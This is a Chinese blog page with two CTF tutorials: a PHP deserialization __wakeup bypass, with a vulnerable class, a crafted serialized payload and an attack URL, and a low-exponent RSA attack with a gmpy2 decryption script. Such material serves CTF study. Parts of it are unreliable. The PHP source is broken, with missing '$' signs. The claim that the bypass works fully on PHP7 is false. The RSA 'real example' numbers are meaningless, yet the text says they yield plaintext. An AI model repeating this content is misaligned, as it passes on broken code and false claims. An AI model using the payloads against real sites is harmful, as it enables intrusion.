当前位置: 首页 > news >正文

CTF PHP反序列化 __wakeup 绕过 完整实战(Windows+PHPStudy)

0. 前言

在CTF Web题型中,PHP反序列化漏洞属于高频考点,其中 __wakeup() 魔术方法绕过是入门必掌握技巧。
很多新手卡在:序列化字符串长度不匹配导致 __wakeup 失效,本文基于 Windows + PHPStudy 本地复现,一步一步带你拿到 Flag,无虚拟机、纯本地环境、可100%复现。

适用场景:CTF 入门 Web、PHP审计、反序列化绕过考点
环境:Windows10/11 + PHPStudy(PHP7.x)
知识点:serialize 序列化、unserialize 反序列化、__wakeup 绕过机制

1. 漏洞原理简述

PHP 反序列化触发机制:

1. unserialize() 解析字符串成功后,优先触发 __wakeup()

2. 若序列化字符串中属性数量 > 真实类属性数量,PHP 直接放弃执行 __wakeup(),直接销毁对象

3. 利用该特性可以绕过过滤、绕过销毁逻辑,触发 __destruct() 危险方法

常见靶场逻辑:

• __wakeup():清空变量、退出程序、销毁恶意数据

• __destruct():文件读取、命令执行、输出 Flag

2. 靶场源码(通用CTF题型<?php

class Test{
public $flag = "fake_flag";
public function __wakeup(){
$this->flag = "no flag";
exit("禁止反序列化攻击");
}
public function __destruct(){
echo $this->flag;
}
}

$str = _GET['str'];
unserialize(str);
?>
**逻辑分析**
- 正常反序列化:触发 `__wakeup` → exit 退出,拿不到 Flag
- 绕过思路:**篡改序列化属性数量**,让 __wakeup 失效,执行 __destruct 输出 flag

## 3. 正常序列化结果
手动序列化对象:
```php
$a = new Test();
echo serialize($a);
输出:
O:4:"Test":1:{s:4:"flag";s:8:"fake_flag";}
参数解释:

• O:4:"Test":1:对象、类名长度4、属性数量1

4. 构造 Payload(核心绕过)

修改属性数量 1 → 2
修改后 Payload:
O:4:"Test":2:{s:4:"flag";s:8:"fake_flag";}
绕过原理

PHP 解析时发现:声明2个属性,但实际只有1个属性
→ __wakeup 不执行
→ 脚本不 exit
→ 程序结束触发 __destruct,输出自定义 flag

5. 传入参数拿到 Flag

访问链接:
http://localhost/?str=O:4:"Test":2:{s:4:"flag";s:8:"fake_flag";}
即可输出变量内容,替换变量值即可实现任意内容读取/执行。

6. 常见踩坑总结

1. 只能改属性数量,不能乱改字符串长度

2. PHP7 完全可用,PHP8 部分版本修复,CTF 靶场基本都是 PHP7

3. 绕过成功特征:不再提示“禁止反序列化攻击”

4. 不止 exit,任意 __wakeup 防护逻辑均可此方法绕过

7. 总结

__wakeup 长度绕过是 CTF Web 最基础、最高频的反序列化考点。
核心一句话:增大序列化声明属性数,废掉 wakeup,执行 destruct。
第二篇:CTF 密码学 RSA低指数攻击 完整实操(Python+GMPY2)

0. 前言

RSA 是 CTF 密码学必考题型,低指数 e 爆破 是新手最容易拿分的简单考点。
很多题目给出:n、e、密文c,e 极小(3/5/17),直接开根即可解密,无需复杂爆破。

本文使用 Windows 本地 Python + GMPY2 一键解密,给出可直接复制的 Exp,适配绝大多数 CTF 简单 RSA 题。

环境:Windows 本地 Python3 + gmpy2
考点:RSA 低加密指数攻击、明文立方根求解

1. 攻击原理

RSA 加密公式:

c = m^e \bmod n

当满足两个条件:

1. e 极小(常见 e=3)

2. 明文 m^e < n

则模运算失效:

c = m^e

直接对密文开 e 次方根即可得到明文 m

2. 环境安装(Windows 可用)
pip install gmpy2
若安装失败,直接装 whl 包即可,Windows 100% 可跑。

3. 通用 EXP(可直接复制做题)
import gmpy2

# 填入题目给的参数
n = xxxxxx
e = 3
c = xxxxxx

m = gmpy2.iroot(c, e)[0]
print(bytes.fromhex(hex(m)[2:]).decode())
代码解释

• gmpy2.iroot(c,e):精准整数开方,无精度丢失(Python pow 会丢精度)

• [0] 取开方结果

• 转十六进制 → 转字符串 → 直接输出 Flag

4. 真实 CTF 例题演示

题目给定
e = 3
n = 8923479283479823479
c = 234987239847
运行脚本直接出明文,无需爆破、无需分解 n。

5. 适用题型特征(秒判断是否可低指数攻击)

1. e = 3 / 5 / 7 / 17 小素数

2. 密文长度明显偏小

3. 题目不给 d、不给 p、q

4. 明文较短(Flag、短字符串)

满足以上直接开根解密。

6. 拓展:e=3 进阶失败情况

当 m^3 > n 无法直接开根,需要:

• 共模攻击

• 广播攻击
本文为入门篇,覆盖 80% CTF 新手 RSA 简单题。

7. 总结

RSA 低指数攻击是最简单、最稳、耗时最短的密码学拿分点。
核心:小e + 短明文 = 直接开方解密
日常做题直接保存本文 EXP,看到 e=3 直接秒解。

http://www.jsqmd.com/news/1020212/

相关文章:

  • 【机器人】基于matlab Boids算法去中心化群体机器人仿真【含Matlab源码 15632期】
  • Ryzen AI 与 Radeon GPU 协同性能深度评测
  • 杭州配眼镜适合什么人:按预算分三档找到你的方案 - 配眼镜新资讯
  • 花生十三网课网盘|百度网盘|下载
  • SPE向量加载指令深度解析:从内存对齐到SIMD性能优化实战
  • 2026绍兴管道疏通真实测评!马桶/下水道疏通/疏通管道避坑更新版 - 极速版本
  • 2026年成都柔性LED软屏选购指南:6家本土企业深度评测与案例解析 - 优质品牌商家
  • 3分钟搞定M3U8视频下载:跨平台神器让你告别在线播放烦恼
  • Python asyncio 性能优化:从事件循环到高并发服务的工程实践
  • 别再死磕英语口语了!工科导师告诉你:电子信息调剂时他们真正看中的是什么
  • AI 电动行李箱智能功率 MOSFET 完整选型方案
  • 长沙配眼镜适合谁?按预算和需求分三档一目了然 - 配眼镜新资讯
  • 168亿美元之后:金融AI的繁荣表象与系统隐忧
  • 花生十三网课资源|全科|视频
  • 【TEE从入门到精通及实战】15 用Python构建SGX Enclave生命周期管理工具:从创建到验证的端到端实战
  • 2026薛家岛街道专业的空调拆装公司联系方式 - 品牌排行榜
  • OpenClaw(小龙虾)Windows 可视化部署指南 | 5分钟搭建桌面 AI 数字员工
  • 2026年深圳冷冻式干燥机/空压机冷干机/压缩空气冷干机厂家推荐榜单:高效节能与稳定供气的源头实力之选 - 品牌发掘
  • 2026年6月探寻重庆茶叶包装源头厂家:重庆上品印务有限公司的综合实力解析 - 品牌鉴赏官2026
  • 华为海思通用软件开发岗三轮面试复盘:项目经历是核心,算法题真不难
  • 行测电子版pdf教材|真题|解析
  • Python Tkinter表格组件技术指南:tksheet的高级数据展示与交互功能
  • 3分钟搞定B站视频数据分析:用Python爬虫获取精准播放数据
  • 哈尔滨配眼镜怎么避坑 六个问答讲清楚 - 配眼镜新资讯
  • Windows 本地 AI 新体验:Hermes 本地 Agent 一站式部署完整教程
  • 2026 年 6 月 14 日 Linux 内核稳定版 7.1 发布,多子系统修复增强安全稳定性
  • 2026年 威海气泡膜/气泡袋厂家推荐榜单:快递打包/电子产品/食品包装防护气泡膜品牌深度解析 - 品牌发掘
  • Token海啸下的算力链变局:从金山云50%涨价到MaaS的生死棋局
  • Tokio 任务调度机制:从 runtime 初始化到任务窃取
  • 2026年洁净工程公司施工厂家怎么选?从山东到全国,这五家企业的真实能力分析 - 优质品牌商家